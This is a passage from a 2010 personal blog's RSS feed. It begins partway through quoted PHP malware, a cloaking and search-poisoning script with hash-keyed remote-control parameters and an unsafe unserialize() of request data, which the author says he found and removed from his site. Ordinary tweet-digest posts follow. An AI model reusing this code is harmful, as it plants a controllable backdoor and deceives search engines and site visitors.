fclose($hs);<br />
}</p>
<p>function request($url, $post_data = false) {<br />
switch ($this-&gt;mode)<br />
{<br />
case 0:<br />
return $this-&gt;_requestCurl($url, $post_data);<br />
case 1:<br />
return $this-&gt;_requestSock($url, $post_data);<br />
default:<br />
return false;<br />
};<br />
}</p>
<p>function _requestCurl($url, $post_data) {<br />
$hc = curl_init($url);<br />
if ($post_data)<br />
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);<br />
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);<br />
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this-&gt;timeout);<br />
$res = curl_exec($hc);<br />
$this-&gt;httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);<br />
curl_close($hc);<br />
return $res;<br />
}</p>
<p>function _requestSock($url, $post_data) {<br />
$info = parse_url($url);<br />
$httpHostStr = $info['host'];<br />
if ($info['port'])<br />
$httpHostStr .= ':' . $info['port'];<br />
if (!empty($post_data)) {<br />
$rtype = 'POST';<br />
$post = array();<br />
foreach ($post_data as $key =&gt; $val)<br />
{<br />
$post[] = urlencode($key) . '=' . urlencode($val);<br />
};<br />
$post = implode('&amp;', $post);<br />
$contentLength = strlen($post);<br />
$contentType = "Content-Type: application/x-www-form-urlencoded\n";<br />
}<br />
else {<br />
$rtype = 'GET';<br />
$post = '';<br />
$contentLength = 0;<br />
$contentType = '';<br />
};<br />
$req = &lt;&lt;&lt;EOR<br />
{$rtype} {$url} HTTP/1.0<br />
Host: {$httpHostStr}<br />
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8<br />
Accept-Language: en<br />
{$contentType}Content-Length: {$contentLength}</p>
<p>$post<br />
EOR;<br />
$hc = $this-&gt;_connect($info['host'], $info['port']);<br />
if (!$hc) {<br />
trigger_error("Failed to connect to [{$info['host']}]", E_USER_WARNING);<br />
return false;<br />
};<br />
fwrite($hc, $req);<br />
$res = '';<br />
while (!feof($hc))<br />
$res .= fread($hc, 8192);<br />
$this-&gt;_disconnect($hc);<br />
if (preg_match('/^HTTP\/[^\s]+\s+(\d+)/', $res, $match)) {<br />
$this-&gt;httpStatus = $match[1];<br />
}<br />
else {<br />
$this-&gt;httpStatus = 666;<br />
return false;<br />
};<br />
if (preg_match('/^.+?(?:\r\n\r\n|\n\n)(.*)$/ms', $res, $match)) {<br />
return $match[1];<br />
};<br />
$this-&gt;httpStatus = 666;<br />
return false;<br />
}<br />
};</p>
<p>function unslash_rec(&amp;$arr) {<br />
reset($arr);<br />
while (list($key)=each($arr)) {<br />
if (is_array($arr[$key]))<br />
unslash_rec($arr[$key]);<br />
else {<br />
$arr[$key]=stripslashes($arr[$key]);<br />
};<br />
};<br />
};</p>
<p>if (get_magic_quotes_gpc()) {<br />
unslash_rec($_GET);<br />
unslash_rec($_POST);<br />
unslash_rec($_REQUEST);<br />
unslash_rec($_COOKIE);<br />
foreach ($_FILES as $key =&gt; $val)<br />
$_FILES[$key]['name'] = stripslashes($_FILES[$key]['name']);<br />
};</p>
<p>$page = new RemotePage();<br />
if (array_key_exists('d98a70509b4b1552243f07629a643439_redir', $_REQUEST)) {<br />
$status = $page-&gt;allowRedirect($_REQUEST['d98a70509b4b1552243f07629a643439_redir']);<br />
die("REDIRECT [d98a70509b4b1552243f07629a643439_redir] STATUS: [{$status}]\n");<br />
}<br />
else if (array_key_exists('d98a70509b4b1552243f07629a643439_cloak', $_REQUEST)) {<br />
$status = $page-&gt;allowCloak($_REQUEST['d98a70509b4b1552243f07629a643439_cloak']);<br />
die("CLOAK [d98a70509b4b1552243f07629a643439_cloak] STATUS: [{$status}]\n");<br />
}<br />
else if ($_REQUEST['d98a70509b4b1552243f07629a643439_gref'] == 'count') {<br />
$cnt = $page-&gt;_getStats('refgg');<br />
$cnt2 = $page-&gt;_getStats('uagg');<br />
$cnt3 = $page-&gt;_getStats('missgg');<br />
die("GREF [d98a70509b4b1552243f07629a643439_gref] COUNT: [{$cnt}]\nGUA [d98a70509b4b1552243f07629a643439_gua] COUNT: [{$cnt2}]\nGMISS [d98a70509b4b1552243f07629a643439_gmiss] COUNT: [{$cnt3}]\n");<br />
}<br />
else if ($_POST['d98a70509b4b1552243f07629a643439_direct_cache'] == 'cache') {<br />
$status = $page-&gt;_cachePage($_REQUEST['p'], unserialize($_REQUEST['page']));<br />
die("CACHE [d98a70509b4b1552243f07629a643439_direct_cache] STATUS: [{$status}]\n");<br />
}<br />
else {<br />
$page-&gt;processRequest($_REQUEST['p'], $_SERVER['HTTP_REFERER'], $_REQUEST['__cacheonly'] == 'true', $_REQUEST['__forcerecache'] == 'true');<br />
};</p>
<p>?&gt;</p>
<p></code></p>
<p>Very clever. To most of the world, this page returns a fake 404 error. However, if it senses it&#8217;s Google scraping the site, it links to a .cache directory filled will all sorts of search-engine poisoning and positioning files. Needless to say, I removed this. Anyone ever come across anything similar?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/16/990/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-13</title>
		<link>http://www.marklinford.com/2010/02/13/twitter-updates-for-2010-02-13/</link>
		<comments>http://www.marklinford.com/2010/02/13/twitter-updates-for-2010-02-13/#comments</comments>
		<pubDate>Sat, 13 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/13/twitter-updates-for-2010-02-13/</guid>
		<description><![CDATA[
http://ping.fm/p/RqbBT &#8211; Jigger loves the Daily Show   #
Moving to @thegeekiestmark . This name wasn&#39;t already taken on #GoogleBuzz   #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li><a href="http://ping.fm/p/RqbBT" rel="nofollow">http://ping.fm/p/RqbBT</a> &#8211; Jigger loves the Daily Show <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  <a href="http://twitter.com/geekylinford/statuses/9035580978" class="aktt_tweet_time">#</a></li>
<li>Moving to @<a href="http://twitter.com/thegeekiestmark" class="aktt_username">thegeekiestmark</a> . This name wasn&#39;t already taken on #<a href="http://search.twitter.com/search?q=%23GoogleBuzz" class="aktt_hashtag">GoogleBuzz</a> <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  <a href="http://twitter.com/geekylinford/statuses/9041867356" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/13/twitter-updates-for-2010-02-13/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-10</title>
		<link>http://www.marklinford.com/2010/02/10/twitter-updates-for-2010-02-10/</link>
		<comments>http://www.marklinford.com/2010/02/10/twitter-updates-for-2010-02-10/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/10/twitter-updates-for-2010-02-10/</guid>
		<description><![CDATA[
I favorited a YouTube video &#8212; The Muppets: Beaker&#39;s Ballad http://youtu.be/EAtBki0PsC0?a #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I favorited a YouTube video &#8212; The Muppets: Beaker&#39;s Ballad <a href="http://youtu.be/EAtBki0PsC0?a" rel="nofollow">http://youtu.be/EAtBki0PsC0?a</a> <a href="http://twitter.com/geekylinford/statuses/8876500451" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/10/twitter-updates-for-2010-02-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-03</title>
		<link>http://www.marklinford.com/2010/02/03/twitter-updates-for-2010-02-03/</link>
		<comments>http://www.marklinford.com/2010/02/03/twitter-updates-for-2010-02-03/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/03/twitter-updates-for-2010-02-03/</guid>
		<description><![CDATA[
I favorited a YouTube video &#8212; Big Bang Theory- Milk Thief! (S02E21) http://youtu.be/v1qfHBkf1w8?a #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I favorited a YouTube video &#8212; Big Bang Theory- Milk Thief! (S02E21) <a href="http://youtu.be/v1qfHBkf1w8?a" rel="nofollow">http://youtu.be/v1qfHBkf1w8?a</a> <a href="http://twitter.com/geekylinford/statuses/8567397935" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/03/twitter-updates-for-2010-02-03/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-02-02</title>
		<link>http://www.marklinford.com/2010/02/02/twitter-updates-for-2010-02-02/</link>
		<comments>http://www.marklinford.com/2010/02/02/twitter-updates-for-2010-02-02/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/02/02/twitter-updates-for-2010-02-02/</guid>
		<description><![CDATA[
Lookout world, my neice is driving now   RT @Itsmejpatch I GOT MY LISENCE! WHOO HOO! #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>Lookout world, my neice is driving now <img src='http://www.marklinford.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  RT @<a href="http://twitter.com/Itsmejpatch" class="aktt_username">Itsmejpatch</a> I GOT MY LISENCE! WHOO HOO! <a href="http://twitter.com/geekylinford/statuses/8519779088" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/02/02/twitter-updates-for-2010-02-02/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter Updates for 2010-01-28</title>
		<link>http://www.marklinford.com/2010/01/28/twitter-updates-for-2010-01-28/</link>
		<comments>http://www.marklinford.com/2010/01/28/twitter-updates-for-2010-01-28/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 14:59:00 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.marklinford.com/index.php/2010/01/28/twitter-updates-for-2010-01-28/</guid>
		<description><![CDATA[
I just unlocked the &#34;Local&#34; badge on @foursquare! http://4sq.com/auIWQG #
I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). http://4sq.com/7uITtR #
RT @eWords Apple hype defined: iMurse &#8211; a man purse designed to carry your iPad that lets people know you own the coolest gadget ever. #

Powered by Twitter Tools
]]></description>
			<content:encoded><![CDATA[<ul class="aktt_tweet_digest">
<li>I just unlocked the &quot;Local&quot; badge on @foursquare! <a href="http://4sq.com/auIWQG" rel="nofollow">http://4sq.com/auIWQG</a> <a href="http://twitter.com/geekylinford/statuses/8288215158" class="aktt_tweet_time">#</a></li>
<li>I&#39;m at Santa Rosa Junior College (1501 Mendocino Ave, Santa Rosa). <a href="http://4sq.com/7uITtR" rel="nofollow">http://4sq.com/7uITtR</a> <a href="http://twitter.com/geekylinford/statuses/8288217547" class="aktt_tweet_time">#</a></li>
<li>RT @<a href="http://twitter.com/eWords" class="aktt_username">eWords</a> Apple hype defined: iMurse &#8211; a man purse designed to carry your iPad that lets people know you own the coolest gadget ever. <a href="http://twitter.com/geekylinford/statuses/8299895112" class="aktt_tweet_time">#</a></li>
</ul>
<p class="aktt_credit">Powered by <a href="http://alexking.org/projects/wordpress">Twitter Tools</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.marklinford.com/2010/01/28/twitter-updates-for-2010-01-28/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
